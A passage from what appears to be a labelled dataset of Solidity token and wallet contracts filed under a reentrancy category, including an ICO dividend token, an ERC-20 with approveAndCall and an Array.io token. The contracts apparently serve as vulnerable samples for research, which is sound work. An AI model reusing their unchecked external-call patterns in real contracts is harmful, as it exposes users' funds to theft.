Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i tokenAccount) holderAccounts ; // who holds how many tokens (high two bytes contain curPayId) mapping (uint => address) holderIndexes ; // for iteration thru holder uint numAccounts; uint partnerCredits; // amount partner (e4row) has paid mapping (address => mapping (address => uint256)) allowed; // approvals uint maxMintableTokens; // ... uint minIcoTokenGoal;// token goal by sale end uint minUsageGoal; // num games goal by usage deadline uint public tokenPrice; // price per token uint public payoutThreshold; // threshold till payout uint totalTokenFundsReceived; // running total of token funds received uint public totalTokensMinted; // total number of tokens minted uint public holdoverBalance; // hold this amount until threshhold before reward payout int public payoutBalance; // hold this amount until threshhold before reward payout int prOrigPayoutBal; // original payout balance before run uint prOrigTokensMint; // tokens minted at start of pay run uint public curPayoutId; // current payout id uint public lastPayoutIndex; // payout idx between run segments uint public maxPaysPer; // num pays per segment uint public minPayInterval; // min interval between start pay run uint fundingStart; // funding start time immediately after anouncement uint fundingDeadline; // funding end time uint usageDeadline; // deadline where minimum usage needs to be met before considered success uint public lastPayoutTime; // timestamp of last payout time uint vestTime; // 1 year past sale vest developer tokens uint numDevTokens; // 10 per cent of tokens after close to developers bool developersGranted; // flag uint remunerationStage; // 0 for not yet, 1 for 10 percent, 2 for remaining upon succeeded. uint public remunerationBalance; // remuneration balance to release token funds uint auxPartnerBalance; // aux partner balance - 1 percent uint rmGas; // remuneration gas uint rwGas; // reward gas uint rfGas; // refund gas IcoStatusValue icoStatus; // current status of ico SettingStateValue public settingsState; // -------------------- // contract constructor // -------------------- function E4Token() { owner = msg.sender; developers = msg.sender; } // ----------------------------------- // use this to reset everything, will never be called after lockRelease // ----------------------------------- function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi ) { if (msg.sender != owner) return; // these settings are permanently tweakable for performance adjustments payoutThreshold = _threshold; maxPaysPer = _mpp; minPayInterval = _mpi; // this first test checks if already locked if (settingsState == SettingStateValue.lockedRelease) return; settingsState = qState; // this second test allows locking without changing other permanent settings // WARNING, MAKE SURE YOUR'RE HAPPY WITH ALL SETTINGS // BEFORE LOCKING if (qState == SettingStateValue.lockedRelease) { StatEvent(""Locking!""); return; } icoStatus = IcoStatusValue.anouncement; rmGas = 100000; // remuneration gas rwGas = 10000; // reward gas rfGas = 10000; // refund gas // zero out all token holders. // leave alloced on, leave num accounts // cant delete them anyways if (totalTokensMinted > 0) { for (uint i = 0; i < numAccounts; i++ ) { address a = holderIndexes[i]; if (a != address(0)) { holderAccounts[a].tokens = 0; holderAccounts[a].balance = 0; } } } // do not reset numAccounts! totalTokensMinted = 0; // this will erase totalTokenFundsReceived = 0; // this will erase. partnerCredits = 0; // reset all partner credits fundingStart = _saleStart; fundingDeadline = _saleEnd; usageDeadline = _usageEnd; minUsageGoal = _minUsage; minIcoTokenGoal = _tokGoal; maxMintableTokens = _maxMintable; tokenPrice = _price; vestTime = fundingStart + (365 days); numDevTokens = 0; holdoverBalance = 0; payoutBalance = 0; curPayoutId = 1; lastPayoutIndex = 0; remunerationStage = 0; remunerationBalance = 0; auxPartnerBalance = 0; developersGranted = false; lastPayoutTime = 0; if (this.balance > 0) { if (!owner.call.gas(rfGas).value(this.balance)()) StatEvent(""ERROR!""); } StatEvent(""ok""); } // --------------------------------------------------- // tokens held reserve the top two bytes for the payid last paid. // this is so holders at the top of the list dont transfer tokens // to themselves on the bottom of the list thus scamming the // system. this function deconstructs the tokenheld value. // --------------------------------------------------- function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held) { _payId = (_tokHeld / (2 ** 48)) & 0xffff; _held = _tokHeld & 0xffffffffffff; } function getHeld(uint _tokHeld) internal returns (uint _held) { _held = _tokHeld & 0xffffffffffff; } // --------------------------------------------------- // allocate a new account by setting alloc to true // set the top to bytes of tokens to cur pay id to leave out of current round // add holder index, bump the num accounts // --------------------------------------------------- function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; } // -------------------------------------- // BEGIN ERC-20 from StandardToken // -------------------------------------- function totalSupply() constant returns (uint256 supply) { if (icoStatus == IcoStatusValue.saleOpen || icoStatus == IcoStatusValue.anouncement) supply = maxMintableTokens; else supply = totalTokensMinted; } function transfer(address _to, uint256 _value) returns (bool success) { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (holderAccounts[msg.sender] >= _value && balances[_to] + _value > holderAccounts[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens); if (heldFrom >= _value && _value > 0) { holderAccounts[msg.sender].tokens -= _value; if (!holderAccounts[_to].alloced) { addAccount(_to); } uint newHeld = _value + getHeld(holderAccounts[_to].tokens); if (icoStatus == IcoStatusValue.saleOpen) // avoid mcgees gambit pidFrom = curPayoutId; holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if ((_from == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens); if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { holderAccounts[_from].tokens -= _value; if (!holderAccounts[_to].alloced) addAccount(_to); uint newHeld = _value + getHeld(holderAccounts[_to].tokens); if (icoStatus == IcoStatusValue.saleOpen) // avoid mcgees gambit pidFrom = curPayoutId; holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { // vars default to 0 if (holderAccounts[_owner].alloced) { balance = getHeld(holderAccounts[_owner].tokens); } } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // ---------------------------------- // END ERC20 // ---------------------------------- // ------------------------------------------- // default payable function. // if sender is e4row partner, this is a rake fee payment // otherwise this is a token purchase. // tokens only purchaseable between tokenfundingstart and end // ------------------------------------------- function () payable { if (msg.sender == e4_partner) { feePayment(); // from e4row game escrow contract } else { purchaseToken(); } } // ----------------------------- // purchase token function - tokens only sold during sale period up until the max tokens // purchase price is tokenPrice. all units in wei. // purchaser will not be included in current pay run // ----------------------------- function purchaseToken() payable { uint nvalue = msg.value; // being careful to preserve msg.value address npurchaser = msg.sender; if (nvalue < tokenPrice) throw; uint qty = nvalue/tokenPrice; updateIcoStatus(); if (icoStatus != IcoStatusValue.saleOpen) // purchase is closed throw; if (totalTokensMinted + qty > maxMintableTokens) throw; if (!holderAccounts[npurchaser].alloced) addAccount(npurchaser); // purchaser waits for next payrun. otherwise can disrupt cur pay run uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens); holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48)); totalTokensMinted += qty; totalTokenFundsReceived += nvalue; if (totalTokensMinted == maxMintableTokens) { icoStatus = IcoStatusValue.saleClosed; //test unnecessary - if (getNumTokensPurchased() >= minIcoTokenGoal) doDeveloperGrant(); StatEventI(""Purchased,Granted"", qty); } else StatEventI(""Purchased"", qty); } // --------------------------- // accept payment from e4row contract // WARNING! DO NOT CALL THIS FUNCTION LEST YOU LOSE YOUR MONEY // HOWEVER ADD THIS GIFT TO THE HOLDOVERBALANCE // YOU HAVE BEEN WARNED // --------------------------- function feePayment() payable { if (msg.sender != e4_partner) { if (msg.value > 0) holdoverBalance += msg.value; StatEvent(""forbidden""); return; // thank you } uint nfvalue = msg.value; // preserve value in case changed in dev grant updateIcoStatus(); holdoverBalance += nfvalue; partnerCredits += nfvalue; StatEventI(""Payment"", nfvalue); if (holdoverBalance > payoutThreshold || payoutBalance > 0) doPayout(maxPaysPer); } // --------------------------- // set the e4row partner, this is only done once // --------------------------- function setE4RowPartner(address _addr) public { // ONLY owner can set and ONLY ONCE! (unless ""unlocked"" debug) // once its locked. ONLY ONCE! if (msg.sender == owner) { if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) { e4_partner = _addr; partnerCredits = 0; //StatEventI(""E4-Set"", 0); } else { StatEvent(""Already Set""); } } } // ---------------------------- // return the total tokens purchased // ---------------------------- function getNumTokensPurchased() constant returns(uint _purchased) { _purchased = totalTokensMinted-numDevTokens; } // ---------------------------- // return the num games as reported from the e4row contract // ---------------------------- function getNumGames() constant returns(uint _games) { //_games = 0; if (e4_partner != address(0)) { iE4RowEscrow pe4 = iE4RowEscrow(e4_partner); _games = uint(pe4.getNumGamesStarted()); } //else //StatEvent(""Empty E4""); } // ------------------------------------------------ // get the founders, auxPartner, developer // -------------------------------------------------- function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4) { //if (_sender == owner) { // no msg.sender on constant functions at least in mew _fndr = founderOrg; _aux = auxPartner; _dev = developers; _e4 = e4_partner; //} } // ---------------------------- // update the ico status // ---------------------------- function updateIcoStatus() public { if (icoStatus == IcoStatusValue.succeeded || icoStatus == IcoStatusValue.failed) return; else if (icoStatus == IcoStatusValue.anouncement) { if (now > fundingStart && now <= fundingDeadline) { icoStatus = IcoStatusValue.saleOpen; } else if (now > fundingDeadline) { // should not be here - this will eventually fail icoStatus = IcoStatusValue.saleClosed; } } else { uint numP = getNumTokensPurchased(); uint numG = getNumGames(); if ((now > fundingDeadline && numP < minIcoTokenGoal) || (now > usageDeadline && numG < minUsageGoal)) { icoStatus = IcoStatusValue.failed; } else if ((now > fundingDeadline) // dont want to prevent more token sales && (numP >= minIcoTokenGoal) && (numG >= minUsageGoal)) { icoStatus = IcoStatusValue.succeeded; // hooray } if (icoStatus == IcoStatusValue.saleOpen && ((numP >= maxMintableTokens) || (now > fundingDeadline))) { icoStatus = IcoStatusValue.saleClosed; } } if (!developersGranted && icoStatus != IcoStatusValue.saleOpen && icoStatus != IcoStatusValue.anouncement && getNumTokensPurchased() >= minIcoTokenGoal) { doDeveloperGrant(); // grant whenever status goes from open to anything... } } // ---------------------------- // request refund. Caller must call to request and receive refund // WARNING - withdraw rewards/dividends before calling. // YOU HAVE BEEN WARNED // ---------------------------- function requestRefund() { address nrequester = msg.sender; updateIcoStatus(); uint ntokens = getHeld(holderAccounts[nrequester].tokens); if (icoStatus != IcoStatusValue.failed) StatEvent(""No Refund""); else if (ntokens == 0) StatEvent(""No Tokens""); else { uint nrefund = ntokens * tokenPrice; if (getNumTokensPurchased() >= minIcoTokenGoal) nrefund -= (nrefund /10); // only 90 percent b/c 10 percent payout if (!holderAccounts[developers].alloced) addAccount(developers); holderAccounts[developers].tokens += ntokens; holderAccounts[nrequester].tokens = 0; if (holderAccounts[nrequester].balance > 0) { // see above warning!! holderAccounts[developers].balance += holderAccounts[nrequester].balance; holderAccounts[nrequester].balance = 0; } if (!nrequester.call.gas(rfGas).value(nrefund)()) throw; //StatEventI(""Refunded"", nrefund); } } // --------------------------------------------------- // payout rewards to all token holders // use a second holding variable called PayoutBalance to do // the actual payout from b/c too much gas to iterate thru // each payee. Only start a new run at most once per ""minpayinterval"". // Its done in runs of ""_numPays"" // we use special coding for the holderAccounts to avoid a hack // of getting paid at the top of the list then transfering tokens // to another address at the bottom of the list. // because of that each holderAccounts entry gets the payoutid stamped upon it (top two bytes) // also a token transfer will transfer the payout id. // --------------------------------------------------- function doPayout(uint _numPays) internal { if (totalTokensMinted == 0) return; if ((holdoverBalance > 0) && (payoutBalance == 0) && (now > (lastPayoutTime+minPayInterval))) { // start a new run curPayoutId++; if (curPayoutId >= 32768) curPayoutId = 1; lastPayoutTime = now; payoutBalance = int(holdoverBalance); prOrigPayoutBal = payoutBalance; prOrigTokensMint = totalTokensMinted; holdoverBalance = 0; lastPayoutIndex = 0; StatEventI(""StartRun"", uint(curPayoutId)); } else if (payoutBalance > 0) { // work down the p.o.b uint nAmount; uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint; uint paids = 0; uint i; // intentional for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) { address a = holderIndexes[i]; if (a == address(0)) { continue; } var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens); if ((held > 0) && (pid != curPayoutId)) { nAmount = nPerTokDistrib * held; if (int(nAmount) <= payoutBalance){ holderAccounts[a].balance += nAmount; holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held; payoutBalance -= int(nAmount); paids++; } } } lastPayoutIndex = i; if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) { lastPayoutIndex = 0; if (payoutBalance > 0) holdoverBalance += uint(payoutBalance);// put back any leftovers payoutBalance = 0; StatEventI(""RunComplete"", uint(prOrigPayoutBal) ); } else { StatEventI(""PayRun"", paids ); } } } // ---------------------------- // sender withdraw entire rewards/dividends // ---------------------------- function withdrawDividends() public returns (uint _amount) { if (holderAccounts[msg.sender].balance == 0) { //_amount = 0; StatEvent(""0 Balance""); return; } else { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); //_amount = 0; return; } _amount = holderAccounts[msg.sender].balance; holderAccounts[msg.sender].balance = 0; if (!msg.sender.call.gas(rwGas).value(_amount)()) throw; //StatEventI(""Paid"", _amount); } } // ---------------------------- // set gas for operations // ---------------------------- function setOpGas(uint _rm, uint _rf, uint _rw) { if (msg.sender != owner && msg.sender != developers) { //StatEvent(""only owner calls""); return; } else { rmGas = _rm; rfGas = _rf; rwGas = _rw; } } // ---------------------------- // get gas for operations // ---------------------------- function getOpGas() constant returns (uint _rm, uint _rf, uint _rw) { _rm = rmGas; _rf = rfGas; _rw = rwGas; } // ---------------------------- // check rewards. pass in address of token holder // ---------------------------- function checkDividends(address _addr) constant returns(uint _amount) { if (holderAccounts[_addr].alloced) _amount = holderAccounts[_addr].balance; } // ------------------------------------------------ // icoCheckup - check up call for administrators // after sale is closed if min ico tokens sold, 10 percent will be distributed to // company to cover various operating expenses // after sale and usage dealines have been met, remaining 90 percent will be distributed to // company. // ------------------------------------------------ function icoCheckup() public { if (msg.sender != owner && msg.sender != developers) throw; uint nmsgmask; //nmsgmask = 0; if (icoStatus == IcoStatusValue.saleClosed) { if ((getNumTokensPurchased() >= minIcoTokenGoal) && (remunerationStage == 0 )) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; // 9 percent auxPartnerBalance = (totalTokenFundsReceived/100); // 1 percent nmsgmask |= 1; } } if (icoStatus == IcoStatusValue.succeeded) { if (remunerationStage == 0 ) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 4; } if (remunerationStage == 1) { // we have already suceeded remunerationStage = 2; remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10); // 90 percent nmsgmask |= 8; } } uint ntmp; if (remunerationBalance > 0) { // only pay one entity per call, dont want to run out of gas ntmp = remunerationBalance; remunerationBalance = 0; if (!founderOrg.call.gas(rmGas).value(ntmp)()) { remunerationBalance = ntmp; nmsgmask |= 32; } else { nmsgmask |= 64; } } else if (auxPartnerBalance > 0) { // note the ""else"" only pay one entity per call, dont want to run out of gas ntmp = auxPartnerBalance; auxPartnerBalance = 0; if (!auxPartner.call.gas(rmGas).value(ntmp)()) { auxPartnerBalance = ntmp; nmsgmask |= 128; } else { nmsgmask |= 256; } } StatEventI(""ico-checkup"", nmsgmask); } // ---------------------------- // swap executor // ---------------------------- function changeOwner(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; owner = _addr; } // ---------------------------- // swap developers account // ---------------------------- function changeDevevoperAccont(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; developers = _addr; } // ---------------------------- // change founder // ---------------------------- function changeFounder(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; founderOrg = _addr; } // ---------------------------- // change auxPartner // ---------------------------- function changeAuxPartner(address _aux) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; auxPartner = _aux; } // ---------------------------- // DEBUG ONLY - end this contract, suicide to developers // ---------------------------- function haraKiri() { if (settingsState != SettingStateValue.debug) throw; if (msg.sender != owner) throw; suicide(developers); } // ---------------------------- // get all ico status, funding and usage info // ---------------------------- function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest) { _status = icoStatus; _saleStart = fundingStart; _saleEnd = fundingDeadline; _usageEnd = usageDeadline; _vest = vestTime; _saleGoal = minIcoTokenGoal; _usageGoal = minUsageGoal; _sold = getNumTokensPurchased(); _used = getNumGames(); _funds = totalTokenFundsReceived; _credits = partnerCredits; _remuStage = remunerationStage; } // ---------------------------- // NOTE! CALL AT THE RISK OF RUNNING OUT OF GAS. // ANYONE CAN CALL THIS FUNCTION BUT YOU HAVE TO SUPPLY // THE CORRECT AMOUNT OF GAS WHICH MAY DEPEND ON // THE _NUMPAYS PARAMETER. WHICH MUST BE BETWEEN 1 AND 1000 // THE STANDARD VALUE IS STORED IN ""maxPaysPer"" // ---------------------------- function flushDividends(uint _numPays) { if ((_numPays == 0) || (_numPays > 1000)) { StatEvent(""Invalid.""); } else if (holdoverBalance > 0 || payoutBalance > 0) { doPayout(_numPays); } else { StatEvent(""Nothing to do.""); } } function doDeveloperGrant() internal { if (!developersGranted) { developersGranted = true; numDevTokens = (totalTokensMinted * 15)/100; totalTokensMinted += numDevTokens; if (!holderAccounts[developers].alloced) addAccount(developers); uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens; holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48)); } } }",./Dataset/reentrancy (RE)/,5,5 34792.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract EGAMEToken is StandardToken { function () { //if ether is sent to this address, send it back. revert(); } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function EGAMEToken( ) { balances[msg.sender] = 120000000000000000; totalSupply = 120000000000000000; name = ""EGAME Token""; decimals = 8; symbol = ""EGAMET""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } }",./Dataset/reentrancy (RE)/,5,5 587.sol," pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Base { uint private bitlocks = 0; modifier noAnyReentrancy { uint _locks = bitlocks; require(_locks <= 0); bitlocks = uint(-1); _; bitlocks = _locks; } modifier only(address allowed) { require(msg.sender == allowed); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } } contract ERC20 is Base { mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; using SafeMath for uint; uint public totalSupply; bool public isFrozen = false; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier isNotFrozenOnly() { require(!isFrozen); _; } modifier isFrozenOnly(){ require(isFrozen); _; } function transferFrom(address _from, address _to, uint _value) public isNotFrozenOnly onlyPayloadSize(3 * 32) returns (bool success) { require(_to != address(0)); require(_to != address(this)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function approve_fixed(address _spender, uint _currentValue, uint _value) public isNotFrozenOnly onlyPayloadSize(3 * 32) returns (bool success) { if(allowed[msg.sender][_spender] == _currentValue){ allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } else { return false; } } function approve(address _spender, uint _value) public isNotFrozenOnly onlyPayloadSize(2 * 32) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } contract Whitelist { mapping(address => bool) public whitelist; mapping(address => bool) operators; address authority; constructor(address _authority) { authority = _authority; operators[_authority] = true; } function add(address _address) public { require(operators[msg.sender]); whitelist[_address] = true; } function remove(address _address) public { require(operators[msg.sender]); whitelist[_address] = false; } function addOperator(address _address) public { require(authority == msg.sender); operators[_address] = true; } function removeOperator(address _address) public { require(authority == msg.sender); operators[_address] = false; } } contract Token is ERC20 { string public constant name = ""Array.io Token""; string public constant symbol = ""eRAY""; uint8 public constant decimals = 18; uint public tgrSettingsAmount; uint public tgrSettingsMinimalContribution; uint public tgrSettingsPartContributor; uint public tgrSettingsPartProject; uint public tgrSettingsPartFounders; uint public tgrSettingsBlocksPerStage; uint public tgrSettingsPartContributorIncreasePerStage; uint public tgrSettingsMaxStages; uint public tgrStartBlock; uint public tgrNumber; uint public tgrAmountCollected; uint public tgrContributedAmount; address public projectWallet; address public foundersWallet; address constant public burnAddress = address(0); mapping (address => uint) public invBalances; uint public totalInvSupply; Whitelist public whitelist; modifier isTgrLive(){ require(tgrLive()); _; } modifier isNotTgrLive(){ require(!tgrLive()); _; } event Burn(address indexed _owner, uint _value); event TGRStarted(uint tgrSettingsAmount, uint tgrSettingsMinimalContribution, uint tgrSettingsPartContributor, uint tgrSettingsPartProject, uint tgrSettingsPartFounders, uint tgrSettingsBlocksPerStage, uint tgrSettingsPartContributorIncreasePerStage, uint tgrSettingsMaxStages, uint blockNumber, uint tgrNumber); event TGRFinished(uint blockNumber, uint amountCollected); constructor(address _projectWallet, address _foundersWallet) public { projectWallet = _projectWallet; foundersWallet = _foundersWallet; } function () public payable isTgrLive isNotFrozenOnly noAnyReentrancy { require(whitelist.whitelist(msg.sender)); require(tgrAmountCollected < tgrSettingsAmount); require(msg.value >= tgrSettingsMinimalContribution); uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); require(stage < tgrSettingsMaxStages); uint etherToRefund = 0; uint etherContributed = msg.value; uint currentPartContributor = tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage)); uint allStakes = currentPartContributor.add(tgrSettingsPartProject).add(tgrSettingsPartFounders); uint remainsToContribute = (tgrSettingsAmount.sub(tgrAmountCollected)).mul(allStakes).div(tgrSettingsPartProject); if ((tgrSettingsAmount.sub(tgrAmountCollected)).mul(allStakes) % tgrSettingsPartProject != 0) { remainsToContribute = remainsToContribute + allStakes; } if (remainsToContribute < msg.value) { etherToRefund = msg.value.sub(remainsToContribute); etherContributed = remainsToContribute; } uint tokensProject = etherContributed.mul(tgrSettingsPartProject).div(allStakes); uint tokensFounders = etherContributed.mul(tgrSettingsPartFounders).div(allStakes); uint tokensContributor = etherContributed.sub(tokensProject).sub(tokensFounders); tgrAmountCollected = tgrAmountCollected.add(tokensProject); tgrContributedAmount = tgrContributedAmount.add(etherContributed); _mint(tokensProject, tokensFounders, tokensContributor); msg.sender.transfer(etherToRefund); } function tgrSetLive() public only(projectWallet) isNotTgrLive isNotFrozenOnly { tgrNumber +=1; tgrStartBlock = block.number; tgrAmountCollected = 0; tgrContributedAmount = 0; emit TGRStarted(tgrSettingsAmount, tgrSettingsMinimalContribution, tgrSettingsPartContributor, tgrSettingsPartProject, tgrSettingsPartFounders, tgrSettingsBlocksPerStage, tgrSettingsPartContributorIncreasePerStage, tgrSettingsMaxStages, block.number, tgrNumber); } function tgrSetFinished() public only(projectWallet) isTgrLive isNotFrozenOnly { emit TGRFinished(block.number, tgrAmountCollected); tgrStartBlock = 0; } function burn(uint _amount) public isNotFrozenOnly noAnyReentrancy returns(bool _success) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[burnAddress] = balances[burnAddress].add(_amount); totalSupply = totalSupply.sub(_amount); msg.sender.transfer(_amount); emit Transfer(msg.sender, burnAddress, _amount); emit Burn(burnAddress, _amount); return true; } function transfer(address _to, uint _value) public isNotFrozenOnly onlyPayloadSize(2 * 32) returns (bool success) { require(_to != address(0)); require(_to != address(this)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function multiTransfer(address[] dests, uint[] values) public isNotFrozenOnly returns(uint) { uint i = 0; while (i < dests.length) { transfer(dests[i], values[i]); i += 1; } return i; } function withdrawFrozen() public isFrozenOnly noAnyReentrancy { uint amountWithdraw = totalSupply.mul(invBalances[msg.sender]).div(totalInvSupply); if (amountWithdraw > address(this).balance) { amountWithdraw = address(this).balance; } invBalances[msg.sender] = 0; msg.sender.transfer(amountWithdraw); } function setWhitelist(address _address) public only(projectWallet) isNotFrozenOnly returns (bool) { whitelist = Whitelist(_address); } function executeSettingsChange( uint amount, uint minimalContribution, uint partContributor, uint partProject, uint partFounders, uint blocksPerStage, uint partContributorIncreasePerStage, uint maxStages ) public only(projectWallet) isNotTgrLive isNotFrozenOnly returns(bool success) { tgrSettingsAmount = amount; tgrSettingsMinimalContribution = minimalContribution; tgrSettingsPartContributor = partContributor; tgrSettingsPartProject = partProject; tgrSettingsPartFounders = partFounders; tgrSettingsBlocksPerStage = blocksPerStage; tgrSettingsPartContributorIncreasePerStage = partContributorIncreasePerStage; tgrSettingsMaxStages = maxStages; return true; } function setFreeze() public only(projectWallet) isNotFrozenOnly returns (bool) { isFrozen = true; return true; } function _mint(uint _tokensProject, uint _tokensFounders, uint _tokensContributor) internal { balances[projectWallet] = balances[projectWallet].add(_tokensProject); balances[foundersWallet] = 